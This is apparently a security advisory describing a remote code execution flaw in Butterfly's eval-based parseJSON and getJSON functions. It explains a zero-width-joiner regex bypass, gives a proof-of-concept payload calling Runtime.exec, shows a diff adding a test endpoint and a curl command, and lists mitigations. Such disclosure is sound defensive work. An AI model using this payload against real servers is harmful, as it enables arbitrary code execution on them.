Butterfly's parseJSON, getJSON functions eval malicious input, leading to remote code execution (RCE)

Summary

### Summary

Usage of the `Butterfly.prototype.parseJSON` or `getJSON` functions on an attacker-controlled crafted input string allows the attacker to execute arbitrary JavaScript code on the server.

Since Butterfly JavaScript code has access to Java classes, it can run arbitrary programs.

### Details

The `parseJSON` function (edu/mit/simile/butterfly/Butterfly.js:64) works by calling `eval`, an approach that goes back to the original library by Crockford, before JSON was part of the ECMAScript language. It uses a regular expression to remove strings from the input, then checks that there are no unexpected characters in the non-string remainder.

However, the regex is imperfect, as was [discovered earlier by Mike Samuel](https://dev.to/mikesamuel/2008-silently-securing-jsonparse-5cbb); specifically, the "cleaner" can be tricked into treating part of the input as a string that the "evaluator" does not, because of a difference in interpretation regarding the [the Unicode zero-width joiner character](https://unicode-explorer.com/c/200D). Representing that character with a visible symbol, a malicious input looks like:

```js "\�\", Packages.java.lang.Runtime.getRuntime().exec('gnome-calculator')) // " ```

This is understood...

* by `JSON_cleaning_RE` as a single string, and because it is a string it can be collapsed to nothing, which is not problematic, so the original input proceeds to `eval`. * by the `eval` function, which ignores zero-width joiners entirely, as a string containing a single escaped backslash, followed by a comma, then a function call, closing parenthesis, and finally a line comment.

The function call is evaluated, and a calculator is opened.

Possible mitigations and additional defenses could include:

* Replacing the JSON implementation with Rhino's built-in implementation. * Dropping all JSON-related and JSONP-related code entirely. * Restricting the access the JavaScript controller code has to the rest of the system by using `initSafeStandardObjects` instead of `initStandardObjects`, using `setClassShutter`, and so on.

### PoC

Change OpenRefine `core` `controller.js` to add a call to the vulnerable `getJSON` function:

```diff diff --git a/main/webapp/modules/core/MOD-INF/controller.js b/main/webapp/modules/core/MOD-INF/controller.js index 4ceba0676..1ce0936d2 100644 --- a/main/webapp/modules/core/MOD-INF/controller.js +++ b/main/webapp/modules/core/MOD-INF/controller.js @@ -631,0 +632,5 @@ function process(path, request, response) { + if (path == "getjsontest") { + butterfly.getJSON(request); + return true; + } + ```

Then, restart OpenRefine and submit the malicious request. For example, the following `bash` command (with $' quoting) should do it:

``` curl -H 'Content-Type: application/json;charset=utf-8' --data $'"\\\u200d\\", Packages.java.lang.Runtime.getRuntime().exec(\'gnome-calculator\')) // "' http://localhost:3333/getjsontest ```

### Impact

Any JavaScript controller that calls one of these functions is vulnerable to remote code execution.

OpenRefine itself seems unaffected; both OpenRefine and jQuery have their own functions also called parseJSON and getJSON, but those are unrelated.